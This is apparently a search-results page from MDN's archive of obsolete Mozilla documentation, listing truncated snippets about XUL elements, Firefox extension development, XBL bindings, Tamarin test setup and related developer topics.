if you are embedding a script in a page, you should bracket your code inside a cdata section as shown in listing 18; this will avoid errors caused by mistakenly reading "&" and other characters as the beginnings of entity references.
... <script type="application/javascript"><![cdata[ var nodes = gbrowser.mtabcontainer.childnodes; for (var i = 0; i < nodes.length; i++) alert(nodes[i].label); ]]></script> listing 18: embedding a script in xul note: although embedding javascript is permitted, it's generally encouraged that you instead place your javascript code in an external file.
Intercepting Page Loads - Archive of obsolete content
this is how the tamper data extension and others do it.
... observe : function(asubject, atopic, adata) { if (topic_modify_request == atopic) { let url; asubject.queryinterface(components.interfaces.nsihttpchannel); url = asubject.uri.spec; if (re_url_to_modify.test(url)) { // re_url_to_modify is a regular expression.
The Essentials of an Extension - Archive of obsolete content
rdf used to be the central storage mechanism for firefox, but it is now being replaced for a simpler database system.
... <em:name>xul school hello world</em:name> <em:description>welcome to xul school!</em:description> <em:version>0.1</em:version> <em:creator>appcoast</em:creator> <em:homepageurl>https://developer.mozilla.org/docs/xul_school</em:homepageurl> this is the data that is displayed before and after the extension is installed, that you can see in the add-ons manager.
XPCOM Objects - Archive of obsolete content
note the metadata included in the square brackets, indicating that the parameter is an array, and that its size is determined by the acount parameter.
... this._prefservice.addobserver( "extensions.xulschoolhello.somepref", this, false); }, observe : function(asubject, atopic, adata) { // do stuff here.
Performance best practices in extensions - Archive of obsolete content
never access a sqlite database synchronously.
... consider using chrome workers you can use a chromeworker to execute long running tasks or do data processing.
Setting up an extension development environment - Archive of obsolete content
development profile the use of a separate user profile for development can be advantageous, averting performance degradation from development related settings, and further isolating personal data (such as bookmarks, extensions, and settings) from your testing environment.
...hunderbird") mozrepl explore and modify firefox and other mozilla apps while they run (firefox, thunderbird version is not working) executejs an enhanced javascript console (firefox version, thunderbird version is not working) xpcomviewer an xpcom inspector (firefox and thunderbird) javascript shells to test snippets of javascript (firefox and thunderbird) sqlite manager to manage the sqlite database (firefox and thunderbird) viewabout enables access to various about: dialogs from the view menu (firefox version, thunderbird version ) crash me now!
Add-ons - Archive of obsolete content
it contains metadata identifying the add-on, providing information about who created it, where more information can be found about it, which versions of what applications it is compatible with, how it should be updated, and so on.
... interaction between privileged and non-privileged pages an easy way to send data from a web page to an extension is by using custom dom events.
Adding preferences to an extension - Archive of obsolete content
observe: function(subject, topic, data) { if (topic != "nspref:changed") { return; } switch(data) { case "symbol": this.tickersymbol = this.prefs.getcharpref("symbol").touppercase(); this.refreshinformation(); break; } }, the topic parameter indicates what type of event occurred.
... once we've established that the event is in fact a preference change, we look at the data parameter, which contains the name of the preference that changed.
Creating reusable content with CSS and XBL - Archive of obsolete content
http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="square"> <resources> <stylesheet src="bind6.css"/> </resources> <content> <html:div anonid="square"/> <xul:button anonid="button" type="button"> <children/> </xul:button> </content> <implementation> <field name="square"><![cdata[ document.getanonymouselementbyattribute(this, "anonid", "square") ]]></field> <field name="button"><![cdata[ document.getanonymouselementbyattribute(this, "anonid", "button") ]]></field> <method name="dodemo"> <body><![cdata[ this.square.style.backgroundcolor = "#cf4" this.square.style.marginleft = "20em" this.button.setattribute("d...
...isabled", "true") settimeout(this.cleardemo, 2000, this) ]]></body> </method> <method name="cleardemo"> <parameter name="me"/> <body><![cdata[ me.square.style.backgroundcolor = "transparent" me.square.style.marginleft = "0" me.button.removeattribute("disabled") ]]></body> </method> </implementation> <handlers> <handler event="click" button="0"><![cdata[ if (event.originaltarget == this.button) this.dodemo() ]]></handler> </handlers> </binding> </bindings> make a new css file, bind6.css.
Source Navigator - Archive of obsolete content
ways include more by pressing the "more" button.) in my case, i inputted the followings: project file: <tt>~/snav-mozilla</tt> add directory (where your source files reside in -- i understand that the label here is not so self-explanatory...): <tt>~/moz1.9/mozilla</tt> (because i saved my source at ~/moz1.9/mozilla.) remember to ensure that "include subdirectories" and "build cross-reference database" are checked.
...source navigator then loads the database and then display the following symbols window: searching a method by typing in the method name viewing the definition/declaration by highlighting the method in the code ...
How Thunderbird and Firefox find their configuration files - Archive of obsolete content
how thunderbird and firefox find their configuration files thunderbird looks into the binary %appdata%\thunderbird\profiles.ini file for its "registry", which contains, amongst other information, a pointer to the directory where the profile is stored (usually located in %appdata%\thunderbird\profiles\profilename).
... likewise, firefox uses a similar file, located in %appdata%\mozilla\firefox\profiles.ini.
Compiling The npruntime Sample Plugin in Visual Studio - Archive of obsolete content
general decisions filename of dll must start with "np" (not "ns") and ends with ".dll" (i wasted hours on this - repeatedly) mimetype reflects the data type handled by the plugin.
... file extension reflects the data type handled by the plugin, esp.
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
this file is a small xml database which is used to describe the skin.
...this file is a small xml database that describes the skin.
Download Manager improvements in Firefox 3 - Archive of obsolete content
firefox 3 offers improvements to the download manager that allow multiple progress listeners, use of the storage api for data management, download resuming, and more.
... the download manager schema this article describes the database format used to store and track information about each download.
Firefox Sync - Archive of obsolete content
components and services sync refers to a family of related components and services which provide synchronization of data between mozilla application instances.
...these include: an http api for client-server interaction storage formats used by the the clients cryptographic model for encrypting client data the definitive source for these specifications is http://docs.services.mozilla.com/.
New Security Model for Web Services - Archive of obsolete content
this prevents a script from accessing web services and data published from any domain besides its own.
... <!element webscriptaccess (delegate?|allow*)> <!element delegate empty> <!element allow empty> <!attlist allow type|from cdata #implied>.
Bundles - Archive of obsolete content
this folder is located in the application data folder of the user's home directory on windows, in the ~/.webapps directory on linux and under ~/library on os x.
... since this folder maybe be located in a directory that requires elevated privileges, the web application should not write data to it.
Frequently Asked Questions - Archive of obsolete content
to help us make the best use of our time, please first search in the svg component of our bug database to check that the issue hasn't already been reported.
...if you have any problems with the bug database feel free to contact contact us.
Safely loading URIs - Archive of obsolete content
if you're doing anything else (passing a uri string to some other api like window.open or <img src="">, passing a uri object to an api that loads uri objects, etc.) use whichever method best fits the data you can get your hands on.
... if you have a choice as to what data you have, prefer checkloaduriwithprincipal to checkloaduri and prefer checkloaduri to checkloaduristr.
Cmdline tests - Archive of obsolete content
two use cases for the cmdline testsuite: use case 1: test the interactive cmdline debugger test contents: start avmshell -d test.abc, set breakpoint on a line, show local variable value, quit from cmdutils import * def run(): r=runtestlib() r.run_test( 'debugger locals', '%s -d testdata/debug.abc'%r.avmrd, input='break 53\ncontinue\nnext\ninfo locals\nnext\ninfo locals\nquit\n', expectedout=['local1 = undefined','local2 = 10','local2 = 15'] ) use case 2: test -memstats returns memory logs to stdout test contents: start avmshell -memstats test.abc, assert stdout contains 'gross stats', 'sweep m reclaimed n pages.' from cmdutils import * def run(): r=runtestli...
...b() r.run_test(name='memstats', command="%s -memstats testdata/memstats.abc" % r.avm, expectedout=[ 'gross stats', 'managed fragmentation', 'gross stats end', 'sweep\\([0-9]+\\) reclaimed [0-9]+ whole pages' ] ...
Running Tamarin acceptance tests - Archive of obsolete content
testsuite setup example commands: copy avmshell to /data/local/tamarin.
... the shell can be named variously in the build but on the phone the executable must be 'avmshell' $ adb shell 'mkdir /data/local/tamarin' $ adb push avmshell /data/local/tamarin/avmshell $ adb shell 'chmod 777 /data/local/tamarin/avmshell' copy android_runner.sh, if it doesn't already exist on the phone in /data/local/tamarin $ adb push tamarin-redux/platform/android/android_runner.sh /data/local/tamarin/android_runner.sh $ adb shell 'chmod 777 /data/loca/android_runner.sh' test it out with a simple .abc or no args for usage (should return exitcode=0) $ tamarin-redux/platform/android/android_shell.py hello.abc hello exitcode=0 test it out by retrieving the version information of the shell on the android device $ $avm -dversion shell 1.4 debug build 6299:455bca954565 features avmsystem_32bit...
Running Tamarin performance tests - Archive of obsolete content
testsuite setup example commands: root the phone $ adb root copy avmshell to /data/app.
... the shell can be named variously in the build but on the phone the executable must be 'avmshell' $ adb push avmshell /data/app/avmshell $ adb shell chmod 777 /data/app/avmshell copy android_runner.sh, if it doesn't already exist on the phone in /data/app $ adb push tamarin-redux/platform/android/android_runner.sh /data/app/android_runner.s $ adb shell chmod 777 /data/app/android_runner.sh test it out with a simple .abc or no args for usage (should return exitcode=0) $ tamarin-redux/platform/android/android_shell.h hello.abc hello exitcode=0 running performance tests to run performance tests on android you don't need to pass --androidthreads or --threads=1 as with the acceptance tests; in fact, a usage error will result.
The Download Manager schema - Archive of obsolete content
the table is kept in a database file named "downloads.sqlite", in a table called "moz_downloads".
... the current database schema version is 8.
Using XPInstall to Install Plugins - Archive of obsolete content
this discovery mechanism hinges on making the secondary install location available from looking at a common repository of metadata.
...this value is actually entered in the client version registry upon installation, a mozilla-browser file that stores metadata about the software that has just been installed.
containment - Archive of obsolete content
when generating content from a template this is used to determine which resources from the datasource are containers and thus can have child nodes and which ones are not containers.
... this attribute should be placed on the same element that the datasources and the ref attribute is on.
value - Archive of obsolete content
« xul reference home value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
Attribute (XUL) - Archive of obsolete content
tonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed color cols command commandupdater completedefaultindex container containment contentcontextmenu contenttooltip context contextmenu control crop curpos current currentset customindex customizable cycler datasources decimalplaces default defaultbutton defaultset description dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 enablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fi...
...editable primary priority properties querytype readonly ref rel removeelement resizeafter resizebefore rows screenx screeny searchbutton searchsessions searchlabel selected selectedindex seltype setfocus showcaret showcommentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname tooltip tooltiptext tooltiptextnew top type uri useraction validate value var visuallyselected wait-cursor width windowtype wrap wraparound ...
Getting File Information - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
...in this case, the new part of the file will be filled with empty data.
Moving, Copying and Deleting Files - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
... var file = io.newfile("home", "importantdata"); var destination = io.newfile("desktop", ""); destination.append("backups"); file.copyto(destination, ""); this example copies an item called 'importantdata' into a directory called 'backups' within the desktop directory.
How to Quit a XUL Application - Archive of obsolete content
getservice(components.interfaces.nsiappstartup); // eattemptquit will try to close each xul window, but the xul window can cancel the quit // process if there is unsaved data.
...es.nsiappstartup.eforcequit : components.interfaces.nsiappstartup.eattemptquit; appstartup.quit(quitseverity); } </script> calling this function if there is an uncaught exception, to force the application to quit: <script> try { dosomething(); } catch (e) { quit(true); } </script> the "quit" menuitem should typically prompt the user if there is unsaved data: <menuitem label="quit" oncommand="quit(false);"/> ...
addTab - Archive of obsolete content
ArchiveMozillaXULMethodaddTab
« xul reference home addtab( url, referreruri, charset, postdata, owner, allowthirdpartyfixup ) addtab( url, {referreruri: ..., charset: ..., postdata: ..., owner: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
... see preprocessing post data for preparing postdata out of a string.
loadURIWithFlags - Archive of obsolete content
« xul reference home loaduriwithflags( uri, flags, referrer, charset, postdata ) return type: no return value load a url into the document, with the specified load flags, the given referrer, character set, and post data.
... (see nsiwebnavigation.loaduri() for details on the referrer and postdata parameters.) ...
Methods - Archive of obsolete content
dom element methods dom:element.addeventlistener dom:element.appendchild dom:element.comparedocumentposition dom:element.dispatchevent dom:element.getattribute dom:element.getattributenode dom:element.getattributenodens dom:element.getattributens dom:element.getelementsbytagname dom:element.getelementsbytagnamens dom:element.getfeature fixme: brokenlink dom:element.getuserdata dom:element.hasattribute dom:element.hasattributens dom:element.hasattributes dom:element.haschildnodes dom:element.insertbefore dom:element.isequalnode dom:element.issamenode dom:element.issupported dom:element.lookupnamespaceuri dom:element.lookupprefix dom:element.normalize dom:element.removeattribute dom:element.removeattributenode dom:element.removeattributens d...
...om:element.removechild dom:element.removeeventlistener dom:element.replacechild dom:element.setattribute dom:element.setattributenode dom:element.setattributenodens dom:element.setattributens dom:element.setuserdata ...
Node - Archive of obsolete content
ArchiveMozillaXULNode
constants the nsidomnode interface is the primary datatype for the entire document object model.
...for more information on this interface please see dom-level-2-core short element_node 1 short attribute_node 2 short text_node 3 short cdata_section_node 4 short entity_reference_node 5 short entity_node 6 short processing_instruction_node 7 short comment_node 8 short document_node 9 short document_type_node 10 short document_fragment_node 11 short notation_node 12 methods node appendchild ( node newchild ) node clonenode ( boolean deep ) boolean hasattributes ( ) boolean haschildnodes ( ) node insertbefore ( node newchild , node refchild ) boolean issupported ( string feature , string version ) void normalize ( ) node removechild ( node oldchild ) node replacechild ( node newchild , node oldchild ) ...
builderView - Archive of obsolete content
« xul reference builderview type: nsixultreebuilder a reference to the tree builder which constructed the tree data.
... the builder provides access to the rdf resources for each row in the tree, and allows sorting the data by column.
view - Archive of obsolete content
ArchiveMozillaXULPropertyview
« xul reference view type: nsitreeview the view for the tree, which is the object which generates the data to be displayed.
...functions available in the view allow one to retrieve the data within the cells, and determine which rows are nested within others.
Namespaces - Archive of obsolete content
for example using the following xml document containing a list of people: <people xmlns="www.example.com/people"> <person name="napoleon bonaparte" gender="male"/> <person name="cleopatra" gender="female"/> <person name="julius caesar" gender="male"/> <person name="ferdinand magellan" gender="male"/> <person name="laura secord" gender="female"/> </people> <listbox datasources="people.xml" ref="*" querytype="xml"> <template xmlns:ns="www.example.com/people"> <query expr="ns:person"/> <action> <listitem uri="?" label="?ns:name"/> </action> </template> </listbox> once added to the template element the namespaces can then be referenced inside temple rule elements too, this works both in rdf and xml templates.
... <listbox datasources="people.xml" ref="*" querytype="xml"> <template xmlns:ns="www.example.com/people"> <query expr="ns:person"/> <rule ns:gender="male"> <label uri="?" label="?ns:name"/> </action> </template> </listbox> ...
Template Guide - Archive of obsolete content
queries using multiple queries to generate more results building trees with templates building trees building hierarchical trees template modifications template builder interface template and tree listeners rdf modifications additional topics sorting results additional template attributes template logging xml namespaces alternative approaches javascript templates xuljsdatasource: a component for extensions, which bring a "javascript template syntax".
... it allows to use javascript objects as a data source for xul templates.
Tree Box Objects - Archive of obsolete content
the tree will call the view to get the updated data and update the contents of the tree on screen.
...in later versions, a separate column object exists, which can be queried for column data.
Using Remote XUL - Archive of obsolete content
its value attribute, while defined in the xul specification, has no specific function in xul; it can store any data associated with the item.
...te without harming usability.) embedding the menu bar into the pages; (we can use xbl to embed xul into html pages to get around the limitations of iframes.) integrating the search function into the menu bar so you don't have to go to a separate page to use it; hiding the html-based navigation for users who can see the xul-based navigation; storing the menu structure and items in a remote rdf datasource to make them easier to update and reuse.
XUL Coding Style Guidelines - Archive of obsolete content
it could contain xul specific element types for ui controls, html4 markups for content data, and even javascript for user event handling.
... widget resources content data style info layout geometry how to make them localizable?
button - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider, nsidomxulbuttonelement ...
caption - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related elements groupbox, checkbox ...
checkbox - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider, nsidomxulcheckboxelement ...
colorpicker - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related interfaces nsidomxulcontrolelement bugs the onchange event only fires if attribute type is set to "button".
command - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related xul:list of commands ...
commandset - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
datepicker - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related interfaces nsidomxulcontrolelement ...
dialog - Archive of obsolete content
inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata acceptdialog() return type: no return value accepts the dialog and closes it, similar to pressing the ok button.
dialogheader - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements dialog, window ...
editor - Archive of obsolete content
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider ...
image - Archive of obsolete content
ArchiveMozillaXULimage
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes alert-icon class that adds an alert icon.
key - Archive of obsolete content
ArchiveMozillaXULkey
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata details on key, keycode, and modifiers attributes for example, consider the foll...
label - Archive of obsolete content
ArchiveMozillaXULlabel
erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata style classes the following classes may be used to style the element.
listcell - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata style classes listcell-iconic use this class to have an image appear on the l...
menubar - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements menu, menuitem, menulist, menupopup, menuseparator inter...
menupopup - Archive of obsolete content
ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata hidepopup() return type: no return value closes the popup immediately.
panel - Archive of obsolete content
ArchiveMozillaXULpanel
